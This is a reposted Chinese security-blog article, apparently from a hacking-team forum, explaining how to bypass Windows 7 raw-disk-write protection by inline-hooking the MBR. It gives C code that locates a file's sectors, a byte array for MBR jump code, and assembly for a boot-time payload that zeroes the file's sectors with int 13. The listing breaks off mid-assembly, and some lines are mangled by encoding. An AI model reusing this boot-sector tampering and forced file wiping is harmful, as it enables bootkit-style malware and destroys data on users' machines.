注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

_

_

 
 
 

日志

 
 

Hook MBR绕过Win7磁盘防写清零文件  

2012-08-04 21:46:51|  分类: 默认分类 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
Hook MBR绕过Win7磁盘防写清零文件
2009-09-23 23:38:52???? 我来说两句
?

文章作者:
原始出处:邪恶八进制信息安全团队

/*本篇属菜鸟练手之作,大牛飘过即可*/
依照MJ大牛的感叹,“Win7的系统文件防护太强大了”——Ring3下,过去最常用的写磁盘扇区被Win7从各个角度挡住了,只开放前16扇区给我们。(具体见DebugMan,VISTA & WIN7对直接磁盘写入的防护, by MJ0011)
然而,其实我们可以轻易意识到——即便只有16个扇区也足够我们使用了——16扇区有什么呢?最重要的还是1扇区的MBR,MBR负责识别分区、加载DBR等等,总之这个时候可以轻易对磁盘进行操作了,而这个时候Win7的一堆吓死人的防护还没加载。
于是有了下面这个Demo,对MBR进行静态Inline Hook实现对文件的强行清零。
通常用的MBR有两个版本,一新一老;但是不管哪个版本,一上来功能都是一样的:
被Bios加载至0000:7c00->清零ax,ss,es等寄存器->si指向自身0000:7c00,di指向0000:0600,repe movsb拷代码(新版从7c1b开始拷贝,目的地是061b)->段间跳转到0000:061b执行(让出7c00是为了把DBR放进去)
看了下老版和新版MBR的逆向,不管新老,在7c14之前都正好还没开始考代码,7c14又正好都是对齐的新指令,很好,我们的Jmp Code也正好0x14个字节(具体见下面代码)。
于是我们r3程序通过FSCTL_GET_RETRIEVAL_POINTERS得到文件偏移,通过IOCTL_DISK_GET_PARTITION_INFO得到分区偏移,然后打开磁盘读分区BPB里的每簇扇区数,计算出文件的绝对扇区号。然后把原MBR前0x14个字节的代码拷出来放到我们的Hook Code里去,然后把Jmp Code写到MBR去;然后把定位出来的文件绝对扇区号和占用扇区数也写到Hook Code里,最后把Hook Code写到第3扇区。
重启时我们的Jmp Code在0000:7c00调int 13把第3扇区读到0000:0600->远跳转过去执行Hook Code->调int 13把原来的MBR前0x14字节写回0000:7c00覆盖掉Jmp Code->调int 13将7c00的代码写回磁盘第1扇区->调扩展int 13将文件占用扇区逐块清零->跳回0000:7c00继续引导系统启动。
在文件大小上偷懒了~没写对qword长的扇区数的递增,故仅支持31M以下的文件~ 复制内容到剪贴板
代码:
#include <Windows.h>
#include <WinIoCtl.h>

typedef long NTSTATUS;
typedef __int64 LONGLONG;
#define STATUS_SUCCESS 0L

#define CTL_CODE( DeviceType, Function, Method, Access ) (????????????????
??????? ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)
)

#define FILE_DEVICE_FILE_SYSTEM???????? 0x00000009
#define METHOD_NEITHER????????????????? 3
#define FILE_ANY_ACCESS???????????????? 0
#define FSCTL_GET_RETRIEVAL_POINTERS??? CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28,? METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER

#define MsgBox(a) MessageBox(0, a, 0, 0)
BOOL OpenDlg(LPWSTR szFile, HWND hwnd) {
??????? OPENFILENAME ofn;
??????? ZeroMemory(&ofn, sizeof(ofn));
??????? ofn.lStructSize = sizeof(ofn);
??????? ofn.hwndOwner = hwnd;
??????? ofn.lpstrFile = szFile;
??????? ofn.lpstrFile[0] = ;
??????? ofn.nMaxFile = 256;
??????? ofn.lpstrFilter = NULL;
??????? ofn.nFilterIndex = 1;
??????? ofn.lpstrFileTitle = NULL;
??????? ofn.nMaxFileTitle = 0;
??????? ofn.lpstrInitialDir = NULL;
??????? ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

??????? // Display the Open dialog box.
??????? return GetOpenFileName(&ofn);
}

/*;Coded by
0000:7C00 sti??????????????????????? ;JMP Code in MBR. When flow of control is turned to 0000:7c00,
0000:7C01 mov ax,201??????????????? ;from BIOS, itll read code from sector 3 into 0000:0600 and far
0000:7C04 mov bx,0600??????????????? ;jump there.
0000:7C07 mov cx,3
0000:7C0A mov dx,80
0000:7C0D int 13
0000:7C0F xor dl,dl
0000:7C11 push dx
0000:7C12 push bx
0000:7C13 retf
*/??????? const static UCHAR mbrJmpCode[0x14]= {
??????? 0xFB, 0xB8, 0x01, 0x02, 0xBB, 0x00, 0x06, 0xB9, 0x03, 0x00, 0xBA, 0x80,
??????? 0x00, 0xCD, 0x13, 0x30, 0xD2, 0x52, 0x53, 0xCB
};

/*;Coded by

0000:0600 call short 0613??????????????? ;push a DataAddressPacket into stack
??????????????????????????????? ;struct DiskAddressPacket {??
0000:0603 db 10??????????????????????? ;??????? BYTE PacketSize = 0x10;? //Size of DAP
0000:0604 db 00??????????????????????? ;??????? BYTE Reserved = 0;
0000:0605 dw 0001??????????????????????? ;??????? WORD BlockCount = 1;???????? //Count of Sectors
0000:0607 dw 0007??????????????????????? ;??????? DWORD BufferAddr = 0000:0700;??????? //heres 512 zeros
0000:0609 dw 0000
0000:060B dw cccc??????????????????????? ;??????? QWORD BlockNum = 0xccccccccccccccccL;
0000:060D dw cccc??????????????????????? ;??????? //Later the hookerll replace this count of
0000:060F dw cccc??????????????????????? ;??????? //sectors to a real one.
0000:0611 dw cccc??????????????????????? ;}
0000:0613 call short 0629??????????????? ;put the original MBR code here(were to be filled later)
0000:0616 dw dddd
0000:0618 dw dddd
0000:061A dw dddd
0000:061C dw dddd
0000:061E dw dddd
0000:0620 dw dddd
0000:0622 dw dddd
0000:0624 dw dddd
0000:0626 dw dddd
0000:0628 dw dddd
0000:062A cld?????????????? &n

  评论这张
 
阅读(463)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017